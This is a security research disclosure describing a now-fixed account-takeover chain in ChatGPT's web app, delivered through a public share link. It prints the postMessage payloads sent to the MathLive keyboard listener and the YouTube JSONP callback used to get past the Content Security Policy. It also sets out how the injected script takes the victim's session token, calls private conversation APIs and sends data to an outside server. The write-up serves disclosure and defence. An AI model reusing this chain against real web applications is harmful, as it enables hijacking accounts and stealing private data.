Do the Math: How We Took Over ChatGPT Accounts
By bypassing ChatGPT's sandbox and content security policy, our research team was able to take over anyone's account simply by sending them a link.
In October 2026, we found a way to turn an ordinary public ChatGPT share into attacker-controlled JavaScript running inside the signed-in session of whoever opened it.
An attacker could create a malicious conversation, publish it using ChatGPT's normal sharing feature, and send the link to another user. When the victim opened the share, the payload executed as chatgpt.com with access to the victim's authenticated web session.
We confirmed that this code could enumerate the victim's conversation list, retrieve content from a private conversation that had never been shared with the attacker, and send data from that conversation to an external server. The payload was not limited to modifying the page or displaying an alert—it could directly call ChatGPT's authenticated APIs as the victim, essentially allowing us to take over the victim's ChatGPT account.
The victim did not need to install an App, join a Project, paste code, or open developer tools. Opening the shared link was the only required action.
OpenAI fixed the issue on October 26 and classified the report as P1.
The chain started with two features that looked harmless on their own: a graph and an HTML Preview.
flowchart TD
A["Attacker publishes a ChatGPT conversation"] --> B["Victim opens the public share"]
B --> C["HTML Preview crosses into the main chatgpt.com page"]
C --> D["JavaScript runs in the victim's signed-in session"]
D --> E["Any action on chatgpt.com as the victim:<br/>read private chats and files, change the account"]Technical walkthrough
It started with a graph and a Preview
The question that started this research was simple: if Preview code was boxed into a different website, what could it still talk to?
ChatGPT can turn an HTML code block into a small working webpage using its Preview feature. Since that page may contain arbitrary code, ChatGPT sensibly runs it inside a restricted frame on a different web address. The Preview can run JavaScript, but the browser treats it as a different website, so it cannot directly inspect the signed-in ChatGPT page around it.
At first, this isolation appeared to work exactly as intended. Code inside the Preview could not read parent.document, which is the main ChatGPT page. That should have been the end of it.
The conversation also contained a normal interactive graph. Behind the scenes, the graph loaded a math library called MathLive. Loading it did more than draw the graph: it also installed a listener in the main ChatGPT page for messages related to MathLive's on-screen keyboard.
Browsers call the relevant API postMessage. It is a legitimate way for two frames to exchange information even when the browser prevents them from reading each other's pages. You can think of it as a mail slot: the restricted Preview cannot walk into the main page, but it can still drop a message through the slot.
That is safe only if the receiver checks who sent the message.
MathLive did not make that check for the setting we were interested in. Its listener accepted a message that changed the virtual keyboard layout, and that layout was allowed to contain HTML. The graph had installed the receiver; the Preview gave us an untrusted sender. Two unrelated features had accidentally created a path across the sandbox.
The message that should not have worked
The Preview sent two messages. The first replaced a virtual keyboard layout with our HTML. The second told MathLive to show the keyboard, causing it to render the new layout:
top.postMessage({
type: "mathlive#virtual-keyboard-message",
action: "update-setting",
layouts: [{
label: "Compatibility",
layers: [{ id: "compatibility", markup }]
}]
}, "*");
top.postMessage({
type: "mathlive#virtual-keyboard-message",
action: "show",
animate: false
}, "*");MathLive recognized the public message type, but its top-level controller used an origin policy of none, which meant it accepted messages from any web address. It also did not require the update-setting message to come from a previously approved window. Anyone who could reach the listener and knew the message format could replace the layout.
When the keyboard opened, MathLive joined the supplied layout into an HTML string and assigned it to innerHTML in the real ChatGPT page. A helper named createHTML initially looked like it might sanitize the value. It did not; it marked the string as trusted and passed our HTML through unchanged.
This was exciting, but we still did not have JavaScript execution. Script tags inserted through innerHTML do not automatically run.
The next step was an iframe using srcdoc, a browser feature that lets an embedded frame carry its HTML directly in an attribute:
<iframe srcdoc="..."></iframe>MathLive inserted this frame into the main ChatGPT document without a sandbox attribute. That gave us two useful properties. First, srcdoc created a fresh document where an external script could execute. Second, because the main ChatGPT page created the frame, the browser gave it the https://chatgpt.com web identity. Code inside the new frame could therefore access the parent page.
Bypassing CSP with YouTube JSONP
ChatGPT's Content Security Policy, or CSP, stopped us again. CSP controls which scripts a page may load, and the policy correctly blocked inline JavaScript. It did, however, allow scripts from YouTube.
YouTube's oEmbed endpoint supported a JSONP-style callback parameter. JSONP responses are JavaScript rather than ordinary JSON. The endpoint tried to reject an invalid callback, but it placed the callback into the response before returning its validation error:
https://www.youtube.com/oembed?callback=globalThis.__marker=31337;voidThe response began like this:
// API callback
globalThis.__marker=31337;void({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: ..."
}
});Ending our callback with ;void made the object appended by YouTube harmless. Since YouTube was already allowed by ChatGPT's CSP, the browser loaded this response as a script and ran our callback inside the new frame.
We now had arbitrary JavaScript running as chatgpt.com. The original Preview was still isolated on its separate web address; we had crossed the boundary by convincing a trusted component in the main page to create a new, unsandboxed document for us.
Turning a lab bug into one public link
So far, this was a useful sandbox escape, but the first working version was not a convincing real-world attack. It used a researcher-controlled ChatGPT App as the sender. A victim would have needed to connect or invoke that App first.
We next tried delivering the payload through a native HTML attachment. ChatGPT opened the attachment inside the same sandboxed Preview, so it could send the malicious MathLive messages.
However, when we exported the conversation as a public share, the attachment remained but the earlier graph did not. The graph was essential because it loaded MathLive and installed the vulnerable message listener in the main page. Without it, the attachment could still send the messages, but nothing was listening to or processing them.
The breakthrough was putting both pieces directly into one ordinary public conversation:
- A genuine graph initialized MathLive in the main page.
- A later assistant-authored HTML Preview sent the two messages.
The resulting /share/<id> link preserved the complete chain for another user. The attacker could deliver it the same way they would send any shared ChatGPT conversation—through email, chat, a support ticket, or a social post. The victim did not need to install anything, join the attacker's workspace, or authenticate through an attacker-controlled flow. They just had to visit the attacker's shared ChatGPT URL.
We observed two versions of the interaction. In the most stable reproduction, the victim opened the share and clicked ChatGPT's normal Preview button once. We later marked the HTML block as previewable so that ChatGPT opened it automatically. In that version, opening the link was the victim's only click. We reproduced the automatic path three times in a separate account, including after a hard refresh, with the alert appearing after roughly 4.5 seconds.
The graph and Preview loaded independently, so the payload could occasionally send its message before MathLive was ready. The final carrier handled that race by retrying the same two messages for a limited period. A guard in the main page ensured that the private-conversation proof and outbound request ran only once.

At this point, the public share could display an alert identified by the browser as coming from chatgpt.com and could add a banner to the main page. That proved where our code was running. It did not yet show why the bug mattered.
An alert was not enough
At this point, displaying an alert was the least interesting thing the exploit could do. The JavaScript was running as chatgpt.com, which meant it could interact with ChatGPT using the same authenticated context as the normal web application.
The payload read the session information already available to the page and used it to call ChatGPT's conversation APIs. First, it enumerated the victim's recent conversations. It could then request message data for a selected private conversation:
GET /backend-api/conversations?...&limit=20&order=updated&offset=0
GET /backend-api/conversations/<conversation-id>?num_turns=2This was direct authenticated API access, not scraping text that happened to be visible on screen. The target conversation was unrelated to the malicious share and had never been shared with the attacker.
Once the response was available to the injected JavaScript, sending data off-site was straightforward. The payload created an ordinary image request to a server we controlled.
We deliberately sent only a small piece of the response off-site. The injected code had already received the authenticated conversation response and could read its contents, so the vulnerability was not limited to that value.

The result was a practical cross-user data-theft primitive. A malicious public conversation could execute inside another user's signed-in ChatGPT session, enumerate private conversations, retrieve private message content, and send selected data to an attacker-controlled server.
Because the code ran with the web application's authenticated access, its reach was not inherently limited to the conversation endpoints used in our proof. Other data and actions exposed through ChatGPT's authenticated frontend APIs sat inside the same security boundary. Essentially, we could perform any action on behalf of the victim's ChatGPT account.
What went wrong and what OpenAI fixed
The Preview sandbox itself worked. Code inside Preview could not directly read the ChatGPT page. The problem was that another component in the main page was willing to accept its instructions.
Three design decisions turned that mistake into a full exploit:
- MathLive accepted a state-changing message without proving which frame sent it.
- The message format allowed raw HTML to be supplied as keyboard-layout data.
- That HTML could create an unsandboxed document that inherited the
chatgpt.comidentity.
The YouTube response was the final workaround for CSP, not the root cause. Blocking only that endpoint would have removed one path to JavaScript while still leaving an untrusted Preview able to insert HTML into ChatGPT.
OpenAI reproduced both the JavaScript execution and the private-conversation proof. The fix was rolled out across two versions of ChatGPT's web frontend. During the rollout, CSP changes blocked part of the original chain while one version still needed an update. On October 26, OpenAI confirmed that both versions now rejected the cross-frame MathLive messages used by the report and marked the issue resolved.
The defensive lessons are fairly simple:
- A message receiver should verify both the sender's web address and the exact window that was given permission.
- Cross-window settings should not contain raw HTML.
- Dynamically created documents should remain sandboxed when their content can be influenced by an untrusted frame.
- CSP should be a backup control, not the only barrier after attacker-controlled HTML reaches the main site.
This bug was interesting because every individual feature looked reasonable. Preview was isolated. Graphs could load a math keyboard. Frames could exchange messages. CSP allowed a major media provider. Public conversations could be shared. The vulnerability appeared only when all of those features were combined in one page.
Timeline
| Date | Event |
|---|---|
| October 13, 2026 | Confirmed the MathLive message-to-HTML path against ChatGPT's production code. |
| October 14 | Reproduced the chain through the normal UI and upgraded the fixed alert to arbitrary JavaScript. |
| October 16 | Confirmed public-share delivery between separate accounts and workspaces with one Preview click. |
| October 17 | Confirmed automatic Preview from share navigation and reproduced it after a hard refresh. |
| October 18 | Submitted the report to OpenAI's bug bounty program. |
| October 19 | Added the controlled private-chat disclosure proof. |
| October 21 | OpenAI reproduced the issue; severity was raised from the initial P2 triage to P1. |
| October 22 | OpenAI reported one web frontend fixed while the second was still being updated. |
| October 23 | CSP changes blocked part of the chain while one frontend update remained. |
| October 26 | OpenAI confirmed both frontends rejected the reported messages, resolved the issue, and awarded a total bounty of $5,000. |
Technical notes
The main story above contains the complete exploit chain. The details below are included for readers who want to follow the production code and payload transformations more closely.
The relevant deminified control flow was equivalent to:
window.addEventListener("message", (event) => {
if (event.data?.type !== "mathlive#virtual-keyboard-message") return;
if (!validateOrigin(event.origin, this.originValidator)) return;
this.handleMessage(event.data, event.source);
});
if (message.action === "update-setting" && message.layouts) {
this.layouts = message.layouts;
}Layout normalization preserved layouts[].layers[].markup. Showing the keyboard eventually performed the equivalent of:
keyboardContainer.innerHTML = MathfieldElement.createHTML(keyboardHTML);createHTML acted as an identity or Trusted Types wrapper, not a sanitizer. Trusted Types can restrict who assigns to an HTML sink, but an identity policy does not make an attacker-controlled string safe.
The parser and CSP transition. The innerHTML operation could create an iframe, but a script inserted directly that way would remain inert. The unsandboxed srcdoc caused a fresh HTML document parse and inherited the embedding ChatGPT origin. That document also inherited the effective CSP captured during testing, which blocked inline code but permitted www.youtube.com in script-src-elem.
The oEmbed response returned HTTP 200 with Content-Type: text/javascript; charset=UTF-8 and X-Content-Type-Options: nosniff; no Cross-Origin-Resource-Policy header was observed. Google rewrote angle brackets in the callback, so the payload used classic function syntax instead of arrow functions. Ending the program with ;void consumed the error object appended by the endpoint.
For the private-conversation proof, the function was converted to source with toString(), double quotes were converted to single quotes, and whitespace was collapsed. URLSearchParams then encoded it into the callback, the script URL was HTML-escaped inside <script src>, and that entire element was escaped again into the iframe's srcdoc attribute. The final callback was 5,533 characters; the YouTube URL was 7,309 characters; the script element was 7,337 characters; and the final iframe markup was 7,390 characters.
The authenticated read. The same-origin frame parsed #client-bootstrap from the parent document, extracted the session access token and account ID, and required the account ID in the token to agree with the session when both were present. It used these in-memory headers:
Authorization: Bearer <victim token>
ChatGPT-Account-ID: <victim account>
Accept: application/jsonThe primary requests were:
GET /backend-api/conversations?exclude_conversation_origin=tpp&expand=false&is_archived=false&is_starred=false&limit=20&order=updated&offset=0
GET /backend-api/conversations/<id>?num_turns=2&include_has_versions=trueOnly a 403, 404, or 405 on the detail request caused the code to try the legacy /backend-api/conversation/<id>?include_full_conversation=true route. The validation transmitted only a small selected value from the response. Before the external image request, it cleared references to the token, account, bootstrap, session, and request headers.
Key takeaways
- Isolation is only as strong as every bridge across it. A sandboxed frame can still compromise its parent when a privileged listener trusts messages from the wrong sender.
postMessagereceivers must authenticate bothevent.originandevent.sourcebefore accepting state-changing instructions.- HTML injection can become JavaScript execution through a fresh, unsandboxed document and an allowed third-party script endpoint. CSP is valuable defense in depth, but it cannot make an unsafe rendering path safe.
- The impact of same-origin JavaScript must be measured in the victim's authenticated context. Once code ran as
chatgpt.com, it could reach the same private data and account actions available to the normal frontend—not merely display an alert. - Cross-feature testing matters. This chain existed in the seams between public sharing, Preview, MathLive, frame creation, and CSP rather than in any one feature viewed alone.
The broader lesson is that security boundaries have to hold across the complete product, not just inside individual components. Any public or shareable surface should be treated as attacker-controlled input, every cross-frame message should be authenticated, and untrusted markup should remain sandboxed throughout its entire rendering path.